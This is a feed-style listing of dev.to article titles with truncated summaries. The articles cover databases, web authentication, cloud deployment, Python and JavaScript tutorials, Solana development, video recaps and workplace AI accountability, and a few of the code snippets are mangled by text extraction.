    PostgreSQL has become the database of choice for countless applications, from startups to enterprise systems. Yet despite its widespread adoption, many developers continue to operate under outdated assumptions about PostgreSQL backups. These misconceptions can lead to data loss, extended downtime, and unnecessary costs. Understanding the truth behind these myths is crucial for maintaining robust database infrastructure and ensuring business continuity in today's data-driven environment. Many developers believe that the built-in pg_dump utility is all they need for production database backups. This misconception stems from the tool's simplicity and widespread documentation. However, relying solely on pg_dump can leave your data vulnerable and your recovery options limited. The reality is f…  ( 15 min )
    PostgreSQL Backup Myths Developers Still Believe: Comparison & Truth
    PostgreSQL has become the database of choice for countless applications, from startups to enterprise systems. Yet despite its widespread adoption, many developers continue to operate under outdated assumptions about PostgreSQL backups. These misconceptions can lead to data loss, extended downtime, and unnecessary costs. Understanding the truth behind these myths is crucial for maintaining robust database infrastructure and ensuring business continuity in today's data-driven environment. Many developers believe that the built-in pg_dump utility is all they need for production database backups. This misconception stems from the tool's simplicity and widespread documentation. However, relying solely on pg_dump can leave your data vulnerable and your recovery options limited. The reality is f…  ( 15 min )
    Alpha-Shadcn Figma Plugin
    https://github.com/rakibulism/alpha-shadcn  ( 6 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    Authentication vs Authorization (Explained in the Simplest Way Possible)
    Understanding authentication and authorization is essential for any backend, frontend, or full-stack developer. These two security concepts sound similar, but they solve completely different problems. Let’s break them down in a simple, beginner-friendly way. Authentication: Who Are You? It usually involve: Providing a username/email Providing a password Once the system knows who you are, it must decide: Which endpoints you can access. What actions you can perform. Which resources you are allowed to modify. Example: *Examples of Authentication Methods Bearer Token Authentication A Bearer Token is a random string given to a user after they successfully log in.You store the token (usually in localStorage) and send it on future requests. How it works: You enter your email + passwo…  ( 7 min )
    Scalable Multi-Tenant Architecture for Hundreds of Custom Domains
    Introduction Modern SaaS commerce platforms often face a similar challenge: supporting a large number of customer-specific storefronts, each with its own custom domain, while still relying on a shared backend. When your infrastructure is built on EKS with CloudFront and an Application Load Balancer in front, and each tenant requires its own SSL certificate, scaling becomes a real architectural puzzle. This article describes the problem we encountered, the options we evaluated, and the architecture we ultimately implemented to handle hundreds of HTTPS-enabled custom domains cleanly and reliably. Our platform allows customers to create online shops under their own domains. Dozens or even hundreds of domains like: storeABC.com, brandshop.net, or my-boutique.co.uk — all point to a shared Cl…  ( 9 min )
    My first flash loan protocol: A Solana adventure
    Introduction: Why i said yes to the unknown I stumbled upon this challenge while browsing developer communities online, and honestly, my first instinct was to scroll past it. The challenge was clear: build a flash loan program on Solana using Anchor framework. Simple enough on paper, but there was one problem —I had never touched Solana development before. The requirements were intimidating: Rust: A language I'd love to still learn but currently don't know much about Anchor Framework: Completely new territory Solana's programming model: Foreign concepts like PDAs, instruction introspection, and BPF programs By all reasonable measures, I should have skipped it. I had deadlines, bunch of familiar projects waiting for my attention, and a comfortable tech stack waiting for me. But t…  ( 16 min )
    Birthday Gift
    Check out this Pen I made!  ( 5 min )
    🌿 The Tools That Make My Developer Life Easier
    Every developer has their little rituals — the way they arrange their windows, the shortcuts they swear by, the terminal theme that somehow makes debugging less painful. For me, those habits live inside my dotfiles. Over time, they’ve become more than just configs. They’re like a memory of how I prefer to work. And whenever I set up a new machine, applying my dotfiles feels like unpacking my own desk: suddenly everything is familiar again. So here’s a human-friendly walkthrough of the things I actually use from my dotfiles repo: https://github.com/rubiin/dotfiles Chezmoi: My quiet helper Before I used chezmoi, setting up my environment after a fresh install felt like trying to remember a dream — “What alias did I use again? Where did that plugin live?” Now I just run: chezmoi init rubii…  ( 8 min )
    This 'Innocent' Array Pattern Quietly Kills Your JavaScript Performance
    You're writing clean code, filling arrays efficiently, but there's a hidden performance trap that catches even experienced developers: filling arrays in reverse order. Let me show you why this innocent-looking pattern can tank your app's performance and how to avoid it. Consider these two seemingly equivalent approaches: // Approach A: Forward filling const forwardArray = []; for (let i = 0; i = 0; i--) { reverseArray[i] = i * 2; } Both create identical arrays, right? Wrong. The second approach can be significantly slower and use more memory. Here's why. JavaScript engines like V8 (Chrome, Node.js) and SpiderMonkey (Firefox) are incredibly smart. They optimize arra…  ( 9 min )
    Series Week 9/52 — Oracle Compliance for CTOs: RBI & IRDAI Expectations
    { Abhilash Kumar Bhattaram : Follow on LinkedIn } In this week blog post we get into the bussiness process of the enteprises where compliance with regulatory entrprises of mission critical applications in India , for e.g. Banks , Insurance Companies , etc. When it comes to Banks and Insurance companies compliance of databases is non negotiable , this is directly atrributed to the efficiency of the DBA Teams Let me show reference documents . RBI - (Reserve Bank of India ) Guidelines on Information security, Electronic Banking, Technology risk management and cyber frauds , here IRDAI - (Insurance Regulatory & Development Authority of India ) here Oracle Security framework defined for RBI here I would like to highlight three Compliance guidelines that directly comes into operational …  ( 10 min )
    Ship Station Packing Slip Template
    Check out this Pen I made!  ( 5 min )
    React Native API Example
    React Native API Example This guide will help you understand how to integrate free APIs into your React, Vue, Flutter or Node apps. JSON Response No authentication Fast testing Perfect for learning 🔥 Example API (Free) https://developerapis.vercel.app/products useEffect(() => { fetch("https://developerapis.vercel.app/products") .then(res => res.json()) .then(data => console.log(data)); }, []); const axios = require("axios"); axios.get("https://developerapis.vercel.app/products") .then(res => console.log(res.data)); 👉 https://developerapis.vercel.app/  ( 6 min )
    Top Test APIs for Developers
    Top Test APIs for Developers This guide will help you understand how to integrate free APIs into your React, Vue, Flutter or Node apps. JSON Response No authentication Fast testing Perfect for learning 🔥 Example API (Free) https://developerapis.vercel.app/products useEffect(() => { fetch("https://developerapis.vercel.app/products") .then(res => res.json()) .then(data => console.log(data)); }, []); const axios = require("axios"); axios.get("https://developerapis.vercel.app/products") .then(res => console.log(res.data)); 👉 https://developerapis.vercel.app/  ( 6 min )
    Inception, Nolan, and Notion
    Inception, Nolan, and Notion Notion's $2 billion valuation reflects its visual approach to information organization and collaboration in the digital workspace. Notion enables global collaboration by removing physical data location constraints, allowing real-time document editing across continents. The platform's strengths include flexible forms, visual building tools, and template options that lower user barriers compared to command-line interfaces. Despite its growth, Notion faces quality-related challenges that the author suggests need addressing through product and marketing improvements. 👉 Read full article  ( 6 min )
    Event-Driven Programming for Kids: Teaching Broadcast Messages in Scratch
    The Challenge We Face How do you teach event-driven architecture to 8-year-olds? The answer: Scratch's broadcast messages. After teaching 50+ students, I've found broadcasts are the breakthrough concept that transforms beginners into real programmers. Students see immediate results. When they broadcast "explosion," sprites react visibly—no abstract console logs to decipher. Message names like player_jumped and level_complete are self-documenting. Compare this to: document.addEventListener('click', handleClick) Start simple: broadcast [start] When I receive [start] → show Progress naturally to state machines and event queues. Here's the secret: students are learning real software architecture. Scratch: broadcast [button_clicked] When I receive [button_clicked] → handle click JavaScript…  ( 7 min )
    YUM TO DNF: Amazon Linux_2023 Package Manager.
    Amazon Linux changed its package manager from yum to DNF starting with Amazon Linux 2023 (AL2023). The main motivation for this change was to adopt the more modern, efficient, and secure package manager that DNF provides, which is now the standard across most Red Hat-based distributions. DNF (Dandified YUM) is the successor to yum and offers major improvements: Faster and more reliable dependency resolution, thanks to a new dependency solver and persistent metadata cache. Improved performance and lower system resource usage compared to yum. Enhanced support for parallel operations, extension/plugin development, and delta RPMs for better update efficiency. A stricter and more predictable API, facilitating the development of automation and third-party integrations. More robust security and better memory management. Aligning with industry standards, as DNF had already replaced yum as the default in Fedora (since version 22), CentOS (version 8+), Rocky Linux, and RHEL 8+. The transition occurred with the release of Amazon Linux 2023 (AL2023). Earlier releases, like Amazon Linux 2 (AL2), used yum as the default package manager. From AL2023 onward, all yum-like commands should be executed using dnf. The commands remain almost identical, ensuring backward compatibility for users transitioning from yum to dnf. Summary Table: Amazon Linux Package Manager Evolution Version Package Manager Reason for Switch First Released Amazon Linux 2 yum Older, less efficient dependency handling 2017 Amazon Linux 2023 dnf Modern, faster, secure, aligns with RHEL 2022 Every major Red Hat-based Linux distribution has shifted to DNF for improved reliability, performance, and future compatibility, making it the logical default for Amazon Linux going forward.  ( 7 min )
    My AI Stopped "Guessing" and Started "Thinking": Implementing a Planning & Reasoning Architecture
    In previous articles, I talked about how I generate tests using LLMs, parse Swagger schemas, and fight against hardcoded data. But "naked" LLM generation has a fundamental problem: it is linear. The model often tries to guess the next step without understanding the big picture. Yesterday, I deployed the biggest architectural update since I started development — the System of Planning and Reasoning. Now, Debuggo doesn't just "write code." It acts like a Senior QA: first, it analyzes requirements, assesses risks, decomposes the task into subtasks, and only then begins to act. I want to show you "under the hood" how this works and, most importantly, honestly compare: did it actually get faster? The Problem: Why Does AI Get Lost? Previously, if I asked: "Create a group, add a user to it, verif…  ( 9 min )
    NPR Music: Ghost-Note: Tiny Desk Concert
    Ghost-Note’s Tiny Desk concert kicked off with Robert “Sput” Searight’s trademark “buckle up,” and never let go. The supergroup—born in 2015 as a drum-and-percussion duo by Searight and Nate Werth (of Snarky Puppy fame)—laid down gritty funk in tracks like “JB’s Out” and “Move with a Purpose,” complete with tight call-and-response riffs and bubbling harmonies. Dominique Xavier Taplin’s spacey keys paved the way for Mackenzie Green’s sultry “Synesthesia,” and Searight amped the energy even higher on “Be Somebody,” a loving nod to James Brown. They wrapped things on a high note with “Slim Goodie,” a playful love story that features fiery percussion solos from Werth and Searight and Mackenzie Green’s pleading vocals that leave you craving your own Slim Goodie. With a full lineup of drums, horns, guitar, bass, keys, and vocals, Ghost-Note proved their evolution from a duo into a full-on funk powerhouse. Watch on YouTube  ( 6 min )
    AI assistance in Development
    Introduction I have been meaning to try out AI-assisted coding for quite some time. Now don't get me wrong, I have been using the generic LLM chatbots. While I was able to get things done, it wasn't the best experience as a developer. I felt more and more sidelined by the process. And after a while I started picking the path of least resistance, i.e. vibe coding. And it's not just me, many of my colleagues are going through this as well. I feel that there has to be some middle ground where a coder can utilise AI all the while improving on his skills. In this article I will be exploring Kiro, an AI assistant by Amazon that uses Claude under the hood. I am specifically interested in the spec-driven development. While I do sound like a Kiro advert at this point, but come on man, they gave a…  ( 9 min )
    How to avoid getting your BetPKR account blocked?
    BetPKR is one of the most popular online gaming and earning platforms in Pakistan, offering users a fast, secure, and entertaining experience. But many users face an unexpected problem: account blocking or suspension. This usually happens when players violate certain rules knowingly or unknowingly. If you want to keep your BetPKR Game Download account safe and active, it’s important to follow some simple guidelines. There are several reasons why BetPKR may take action against an account. Most of these issues are related to: Multiple accounts from the same device Suspicious deposits or withdrawals Using illegal tricks, hacks, or third-party apps Violating platform policies Chargeback or fraudulent payment issues Understanding these reasons is the first step to keeping your account safe. One…  ( 8 min )
    The Complete Guide to Zero Balance Accounts in India (2025 Edition)
    Introduction: The Zero Balance Revolution In 2025, Indian banking has transformed dramatically. The burden of maintaining minimum balances and facing penalties for non-maintenance is becoming a relic of the past for informed consumers. Zero balance savings accounts do not charge any penalties on zero balance and come with multiple benefits for the accountholders. However, there's a critical distinction most guides overlook: Not all zero balance accounts are created equal. Many banks promote BSBDA (Basic Savings Bank Deposit Account) under schemes like Pradhan Mantri Jan Dhan Yojana, but these come with significant limitations—typically only 4 withdrawals per month, no chequebooks, and restricted digital access. This comprehensive guide focuses exclusively on feature-rich digital savings …  ( 12 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    TL;DR CinemaSins rides the Wicked wave by roasting every misstep in The Wiz in under 15 minutes, pointing out plot holes, odd choices, and goofy moments you probably forgot. They also hype their website, YouTube channels (@TVSins, @CommercialSins), social feeds, a quick poll, and Patreon support—backed by writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel and a whole CinemaSins network you can find via their Linktree. Watch on YouTube  ( 6 min )
    OSI Layer 4 Security Vulnerabilities & Resolutions
    Series: OSI Layer-Based Security (Part 4) At Layer 4—the Transport Layer—we leave behind maps and arrive at conversations. This is where TCP handshakes negotiate reliability, where UDP broadcasts scatter unconfirmed messages, and where ports serve as numbered doorways to services. Layer 4 transforms routing into dialogue. But dialogues can be hijacked. Handshakes can be abandoned mid-greeting. Doors can be knocked upon endlessly without purpose. Attackers exploit this layer to exhaust resources, steal sessions, terminate connections, and probe for vulnerabilities. In this article, we'll examine the major threats at Layer 4, then compress them into timestamped resolutions—glyphs of refusal that protect the integrity of network dialogue. A note on AI-driven security: Modern firewalls and sec…  ( 13 min )
    TCP Variable-Length Packet Handling
    Introduction While developing a Socket Chatting program, I encountered a question: how should I handle messages that exceed the predefined buffer size? // Client send(sock, packet1, 10, 0); // Send 10 bytes send(sock, packet2, 20, 0); // Send 20 bytes // Server char buffer[1024]; int bytes = recv(sock, buffer, 1024, 0); What will the value of bytes be? 10? 20? "We can't know." The size of data received from the client is unpredictable. recv() can: Receive all 30 bytes at once Receive 10 bytes and 20 bytes separately Split into 15 bytes twice Even split into 7 bytes, 13 bytes, and 10 bytes This is called the Packet Boundary Problem. Unlike UDP, TCP transmits data in byte units rather than message units. send(sock, "Hello", 5, 0); send(sock, "World", 5, 0); When a client sends a 5-byt…  ( 8 min )
    devto test 2
    Table of Contents test2 test echo "hello world"  ( 5 min )
    Day 9: Temperature Converter - From Celsius to Fahrenheit - 30 Days of Python Challenge
    Welcome Back to Day 9! Hey everyone! It's Day 9 of my 30 Days of Python Challenge, and we're building another essential converter a temperature converter! Today, we're creating a converter that switches between Celsius and Fahrenheit. Let's keep building! Today's mission: Build a Temperature Converter. Following yesterday's weight converter pattern, I'm creating another practical tool using conversion formulas! Building this temperature converter taught me: How to implement mathematical formulas in Python How to use the .upper() method for case-insensitive input How to work with temperature scales and their conversion formulas How patterns from previous projects make new ones easier to build The more I build, the more confident I become! 🔥 Here's what I wrote for Day 9: # Day 9 - Tempe…  ( 11 min )
    Learning Xahau: Automating Reward Claims with Hooks and CronSet
    Introduction If you've been following the Xahau blockchain, you know that claiming rewards is a fundamental part of participating in the ecosystem. Every account that opts in can claim rewards approximately every 30 days. But here's the thing: manually tracking when to claim and executing transactions every month can become tedious. The closest thing that exists today is the fantastic Balance Adjustment app for Xaman, which sends you a push notification as the date approaches so you can claim your XAH. What if we could automate this entire process? Today, I'm excited to share a complete example solution that automates reward claiming on Xahau using Hooks and CronSet transactions. This tutorial covers the entire lifecycle of reward automation. Of course, it's an example meant to inspire o…  ( 14 min )
    Day 8: Weight Converter - Building Practical Tools - 30 Days of Python Challenge
    Welcome Back to Day 8! Hey everyone! It's Day 8 of my 30 Days of Python Challenge, and we're building another practical tool a weight converter! If you missed the previous days: [Day 1: Print Statements] [Day 2: Variables and Data Types] [Day 3: Type Casting] [Day 4: User Input] [Day 5: Arithmetic Operators] [Day 6: If Statements] [Day 7: Simple Calculator] Today, we're creating a converter that switches between kilograms and pounds. Let's build something useful! Today's mission: Build a Weight Converter. After yesterday's calculator, I'm taking functions to the next level by creating specialized converters with parameters! Building this weight converter taught me: How to write one-line functions for simple operations How to use function parameters to pass values into functions How to f…  ( 8 min )
    The Art of the Imperfect: Embracing AI Glitches for Unexpected Creativity by Arvind Sundararajan
    The Art of the Imperfect: Embracing AI Glitches for Unexpected Creativity Tired of pristine, predictable AI outputs? What if the most captivating art emerges not from flawless execution, but from the happy accidents – the glitches, the misinterpretations – within the AI's own creative process? We're diving into the fascinating world of embracing imperfections to unlock truly unique and surprising artistic expression. The core idea is to intentionally loosen the constraints of AI-driven systems. Instead of aiming for pixel-perfect accuracy, we allow the system to 'misunderstand' its environment, to prioritize qualitative interpretation over precise measurements. This controlled chaos births something unexpected, something human intent couldn't have precisely dictated. Think of it like jaz…  ( 7 min )
    The Zygote Problem: Why Every Child Deserves a Perfect Future (And How Systems Break Them)
    The Zygote Problem: Why Every Child Deserves a Perfect Future (And How Systems Break Them) A Technical Meditation on Identity, Masquerade, and the Constitutional Right to Become This is not a story about biology. This is about constitutional architecture for human becoming. When a zygote forms—that first fusion of genetic material—it contains complete potential. No differentiation yet. No predetermined path. Just totipotent possibility. But here's what systems fail to understand: zygotes don't need to be fixed. Systems need to stop breaking them. This essay explores the AuraSeal MMUKO Initiative—a constitutional framework for protecting the perfect potential in every child, especially neurodivergent children (autism, ADHD, Asperger's), from birth through generational return. It's about t…  ( 11 min )
    Create a Subdomain in Route53 and Attach it to Elastic Beanstalk Environment
    This tutorial guides you through the process of creating a subdomain using Amazon Route 53 and seamlessly integrating it with an Elastic Beanstalk environment. Learn how to establish a distinct subdomain, enabling you to organize and host various applications efficiently. Log in to AWS Console Search for Route53 on AWS Services Click on Hosted zones on the route53 dashboard Click on Create hosted zone button Fill the form On Domain name field enter the full url to your subdomain On Description field Write a description of your choice On Type select Public hosted zone Add tag if you want to Then click on Create hosted zone button You should see a successful page if everything was done correctly Scroll down a bit on your newly created subdomain and copy the NS values, all four of them…  ( 8 min )
    Understanding SQLite PRAGMA (And How better-sqlite3 Makes It Nicer)
    Hello, I'm Maneshwar. I'm working on FreeDevTools online currently building **one place for all dev tools, cheat codes, and TLDRs* — a free, open-source hub where developers can quickly find and use tools without any hassle of searching all over the internet.* If you’ve ever worked with SQLite long enough, you’ve probably bumped into these odd-looking statements: PRAGMA foreign_keys = ON; PRAGMA journal_mode = WAL; PRAGMA table_info(users); They look like SQL, but also… not exactly SQL. So what are PRAGMAs? Let’s unpack it in a clean, practical way. What Exactly Is a PRAGMA in SQLite? A PRAGMA is a special, SQLite-specific command used to: configure how SQLite behaves read internal metadata perform maintenance tasks change settings stored inside the database file tweak performance chara…  ( 9 min )
    I built an animated Pokémon TCG Simulator with Next.js & Tailwind
    Hey developers! 👋 I've been working on a side project for the past few weeks, and I'm excited to finally share it with you all. TL;DR: I built PokeSuite, an all-in-one Pokémon toolkit that focuses on UI/UX and satisfying animations instead of just static text lists. 🚀 I just launched on Product Hunt today! If you like the project, I'd really appreciate your support: 👉 Support PokeSuite on Product Hunt As a long-time Pokémon fan, I noticed that most "randomizers" or "team generators" out there are functionally great but look like spreadsheets from 2005. I wanted to build something that felt like a modern web app—responsive, dark mode by default, and interactive. I built this using the modern React ecosystem. Here is what's under the hood: Framework: Next.js 14 (App Router) – For SEO and performance. Styling: Tailwind CSS – Made building the dark mode UI incredibly fast. Data Source: PokeAPI – The holy grail for Pokémon data. State Management: React Context + LocalStorage (No login required for users). Deployment: Vercel – Zero-config deployment. TCG Pack Simulator: This was the fun part. I used CSS animations to mimic the feeling of ripping open a booster pack. Competitive Team Builder: It includes filters for VGC and Smogon tiers (OU/UU), which required some complex data filtering logic. Spinning Wheel: A physics-based wheel to pick random Pokémon. The hardest part was handling the massive amount of data from PokeAPI without slowing down the UI. I had to implement efficient caching strategies and optimize the images to ensure the "Pack Opening" animation remained smooth on mobile devices. It is completely free, open to everyone, and requires no sign-up. Live Site: https://www.pokesuite.com Product Hunt: 👉 Support us on Product Hunt I'd love to hear your feedback on the code structure or the UI interactions. Let me know what you think in the comments! 👇  ( 7 min )
    Thank you team for the great summary !!!
    Run OSS LLMs on a Single H100 Smarter, Cheaper, Faster Eliana Lam for AWS Community On Air ・ Nov 22 #aws #cloud #beginners #productivity  ( 6 min )
    Day 50 of 100 days dsa coding challenge
    Taking on a new challenge: solving GeeksforGeeks POTD daily and sharing my solutions! 💻🔥 Problem: https://www.geeksforgeeks.org/problems/minimize-connections/1 Minimum Operations to Connect Hospitals Difficulty: Medium Accuracy: 64.27% Examples: Input: V = 5, E = 4, edges[][] = [[0, 1], [0, 2], [2, 3], [3, 4]] Constraints: Solution: used=0 for u,v in edges: if union(u,v): used+=1 if len(edges)=need: return need return -1  ( 7 min )
    Why Angular Templates Make You a Better Developer (Not Just a Better Coder)
    When developers talk about Angular, most conversations revolve around architecture, TypeScript, dependency injection, RxJS, signals, or modules. templates. Angular templates are not just HTML with extra syntax. Over time, I realized something important: If you can keep your templates clean, you can keep your entire codebase clean. Here’s why Angular templates make you a better developer. Angular templates naturally push you to separate: UI logic Business logic State management Anything heavy must be moved to the component or a service. For example: Mixing logic in the template: {{ products.filter(p => p.inStock && p.price p.inStock && p.price < 20); {{ inStockProducts.length }} Templates reward clarity …  ( 7 min )
    ✨Automate WordPress + MySQL Deployment Using Docker Compose & OpenTofu on Server
    💡 Introduction OpenTofu is an open-source fork of Terraform. In this guide, we automate: Docker installation Docker Compose installation Creating volumes + networks Deploying a full WordPress + MySQL stack Starting the containers All using OpenTofu and null_resource. This is perfect for: DevOps practice Local development setup CI/CD environments Rapid application testing Ubuntu machine (local, VM, or cloud) Install OpenTofu: sudo apt update -y sudo apt upgrade -y sudo snap install --classic opentofu mkdir tofu-docker-wordpress cd tofu-docker-wordpress nano main.tf terraform { required_providers { null = { source = "hashicorp/null" } } } ############################### # 1) INSTALL DOCKER + COMPOSE ############################### resource "null_resource" "install_doc…  ( 7 min )
    A Developer's Guide to Test Case Generation with Genetic Algorithms
    As developers, we often face the challenge of testing functions with complex business logic and numerous parameters. How can we be sure we've covered all the tricky edge cases and interactions between different inputs? Manually writing these tests is tedious, and a simple brute-force approach can lead to a combinatorial explosion of test cases. This is where a smarter approach, like using a Genetic Algorithm (GA), can be a game-changer. In this article, I'll walk through a project that uses a GA to automatically generate a concise and effective set of test cases for a complex e-commerce pricing function, explaining the core logic step-by-step. To demonstrate the power of the GA, we need a sufficiently complex function. In my experiment, I used a Python function that calculates the final pr…  ( 9 min )
    Why Governments Are Exploring Browser-Based Distributed Compute Networks
    A technical perspective on decentralized national compute architecture Chapter 1 — Nations Depend on Compute More Than Ever Modern governance increasingly depends on large-scale computation to: run national identity systems power public services & AI citizen portals store medical records and civil registries support defense analytics and threat modeling process massive research workloads Historically, governments have sourced most of this compute from corporate cloud providers such as AWS, Google Cloud, Azure, and Oracle. This creates a structural dependence: National infrastructure often runs on servers not owned, operated, or located within the nation itself. While centralized clouds provide performance and reliability, they also raise questions around: sovereignty cost s…  ( 8 min )
    Evolution of Agentic AI C/O Amazon Quicksuite
    Today, whatever is new quickly becomes old. We started with AI, then moved to Generative AI, and now it’s Agentic AI. Honestly, the lines blur because everything overlaps and shines depending on our use cases and requirements. Before diving deeper, it’s also key to clarify the difference between Generative AI and Agentic AI. Generative AI is reactive; it creates content—text, images, code—based on user prompts. It focuses on what to create when asked. In contrast, Agentic AI is proactive and autonomous. It takes initiative, sets goals, plans multi-step workflows, makes decisions, adapts dynamically, and executes tasks with minimum supervision. Generative AI powers content within these systems, but Agentic AI orchestrates entire processes to achieve goals efficiently, turning AI from …  ( 8 min )
    Web Developer Travis McCracken on Debugging Distributed Systems Like a Human
    Exploring Backend Development with Rust and Go: Insights from Web Developer Travis McCracken As a passionate Web Developer, I’ve always been fascinated by the evolving landscape of backend development. Over the years, I’ve experimented with various technologies, but two languages have continuously piqued my interest due to their performance, safety, and concurrency capabilities: Rust and Go. In this blog post, I want to share my perspective on leveraging Rust and Go for backend solutions, illustrate some of my projects—real and imagined—and offer insights into how these languages can revolutionize API development. When choosing a backend language, factors like speed, safety, concurrency, and ecosystem maturity are critical. Rust offers memory safety without a garbage collector, making it i…  ( 8 min )
    VSCode Autocomplete extension
    VSCode Marketplace I've built an autocomplete extension for VS Code. It works really well with Cerebras. Give it a try and share your feedback! 🚀 Bring Your Own Key (BYOK) ✨ AI-generated code ⚡ Inline suggestions 💡 Support for all programming languages 🔧 Generate code with comments 🧩 Supports Visual Studio Code for the Web, Visual Studio Code Desktop and GitHub Playground Go to github.dev Install AI-Autocomplete extension Demo https://youtu.be/BStExJBhNEg  ( 6 min )
    Day 42: Python Roman Numeral Converter, Bidirectional Conversion Between Roman and Integers with Mapping and Loops
    Welcome to Day 42 of the #80DaysOfChallenges journey! This intermediate challenge tackles converting between Roman numerals and integers in both directions, supporting ranges from 1 to 3999 with dictionary mappings for values, subtraction rules for Roman parsing, and iterative subtraction for integer to Roman. It combines string iteration, conditional logic for special cases like IV or CM, and user choice for mode, making it a robust exercise in bidirectional translation and input handling. If you're progressing from basic strings to more structured conversions or interested in historical number systems, this "Python Roman converter" script showcases functions that are accurate, efficient for the range, and extensible to larger values or validation. This task includes two core functions fo…  ( 12 min )
    CSS
    Font -> Google font flex-wrap : wrap Hello Banner Lorem ipsum  ( 6 min )
    My Code Worked. Excel’s "Protected View" Killed It.
    I am building a Micro-SaaS called SpeakSheet. The premise is simple: You speak (or type) a prompt, and it generates a structured Excel file. The stack is solid: NextJS, Tailwind, Supabase, and Gemini on the backend. This week, I tackled the hardest part of the MVP: Formulas. Teaching an LLM to understand "Profit Margin" is tricky. It knows the math, but it doesn't know the context. After hours of tweaking the JSON schema and refining the prompt, I finally got a green light in the console. The logic was perfect. The schema was validated. I downloaded the generated file to test it. Profit Margin: 0. I stared at the screen. I felt that specific mix of confusion and anger that only developers know. I checked the backend logs—the calculation was correct. I checked the cell data—the formula was there. But the cell displayed 0. I spent an hour debugging a bug that didn't exist. The Invisible Villain Protected View: Be careful—files from the Internet can contain viruses. Because my software generated the file programmatically, Excel didn't trust it. It blocked the execution. I realized that for a user with low Excel literacy (my target audience), this is a dealbreaker. They won't click "Enable Editing." They will just churn. I had to refactor the user journey to account for a security feature I have no control over. The Design Pivot (feat. Gemini 3.0) I am a developer, not a designer. Usually, this is where I stall. I decided to test Gemini 3.0 Flash. I gave it a simple instruction: Design a modern, clean landing page for a SaaS that converts text to Excel. I expected the usual generic AI slop. It saved me two days of CSS wrestling. The Lesson Your logic can be perfect, but if Excel's UI hides it, you failed. Follow me here for the next update. @NotVarunKV Watch Demo of the working here: Demo Working  ( 9 min )
    Mapping the Skeleton of Every Webpage - Understanding HTML’s Core Structure
    HTML can feel like a long list of tags until you notice the quiet architecture hiding underneath. Browsers aren’t tossing those tags around at random, they’re following a predictable pattern that gives every page its skeleton. Once you understand that structure, the rest of HTML clicks into place. Suddenly you’re not memorizing, you’re navigating. At the center of it all is the document itself, the recipe the browser reads from top to bottom. It starts with a declaration, moves into a root, then steps through a head before finally reaching the body. These aren’t just sections of a file; they’re roles in a performance. The browser is the actor. Your markup is the script. Here’s a quick refresher on the boilerplate HTML layout: <meta charset="UTF…  ( 7 min )
    Beyond the Changelog: Engineering Your Blog for B2B Thought Leadership
    Your company blog is live. It’s got a product update from last quarter, a post about the company picnic, and a generic "5 Ways to Improve X" article. The traffic graph is flatter than a minified CSS file. Sound familiar? Most B2B company blogs are treated like a chore—a digital ghost town of forgotten press releases and shallow content. But what if you treated your blog like you treat your product? What if you engineered it, not just to exist, but to establish your company as a genuine thought leader in your space? Let’s refactor our approach. This isn't about content marketing hacks; it's about building a system to consistently output high-signal, high-value content that developers and engineers actually want to read. First, kill the "content is king" mantra. Insight is king. Most B2B blo…  ( 10 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Cinema Sins is back with “Everything Wrong With The Wiz In 15 Minutes Or Less,” a tongue-in-cheek breakdown of the classic Dorothy-meets-Oz musical now that Wicked is back in theaters. Expect rapid-fire call-outs on plot holes, cheesy dialogue, and all the little moments that make The Wiz both charming and sin-worthy. If you want more movie nitpicks (or just love Cinema Sins banter), check out their site for other channels (@TVSins, @CommercialSins), fill out their viewer poll, and support the team on Patreon. Don’t forget to follow Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel on social media, plus join the Cinema Sins community on Discord and Reddit! Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less dissects every wild misstep of the movie with CinemaSins’ trademark snark. Swing by their site for deeper dives, or catch sister channels @TVSins, @CommercialSins, and @CinemaSinsPodcastNetwork for more cinematic roasts. For behind-the-scenes fun, hit their Linktree, chime in on the quick poll, or support on Patreon. Follow writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel on social, and join the party on Discord, Reddit, Instagram, and TikTok—plus peek at Jeremy’s new book for even more Sin-spiration. Watch on YouTube  ( 6 min )
    When Machines Make the Call
    The notification appears at 3:47 AM: an AI agent has just approved a £2.3 million procurement decision whilst its human supervisor slept. The system identified an urgent supply chain disruption, cross-referenced vendor capabilities, negotiated terms, and executed contracts—all without human intervention. By morning, the crisis is resolved, but a new question emerges: who bears responsibility for this decision? As AI agents evolve from simple tools into autonomous decision-makers, the traditional boundaries of workplace accountability are dissolving, forcing us to confront fundamental questions about responsibility, oversight, and the nature of professional judgment itself. The transformation of AI from passive tool to active agent represents one of the most significant shifts in workplace …  ( 20 min )
    I built a self-hosted Google Forms alternative and made it open source! 🎉
    Over the past few weeks, I have been building a Google Forms alternative but with a huge twist. Rather than creating forms manually, you can chat to develop forms and those forms go live instantly for submissions. Under the hood, it’s powered by a streaming LLM connected to Next.js & C1 by Thesys. The form spec and submissions are stored in MongoDB. It would be hard to cover the complete codebase but here are all the important details and everything I learned building this. In summary, we are going to cover these topics in detail. The vision behind the project. Tech Stack Used. Architecture Overview. Data Flow: From Prompt → Form → Save How It Works (Under the Hood). You can check the GitHub Repository. I was using Google Forms a few months back and realized it still requires you to build…  ( 14 min )
    A QA Engineer's Guide to Mobile App Testing vs. Web App Testing
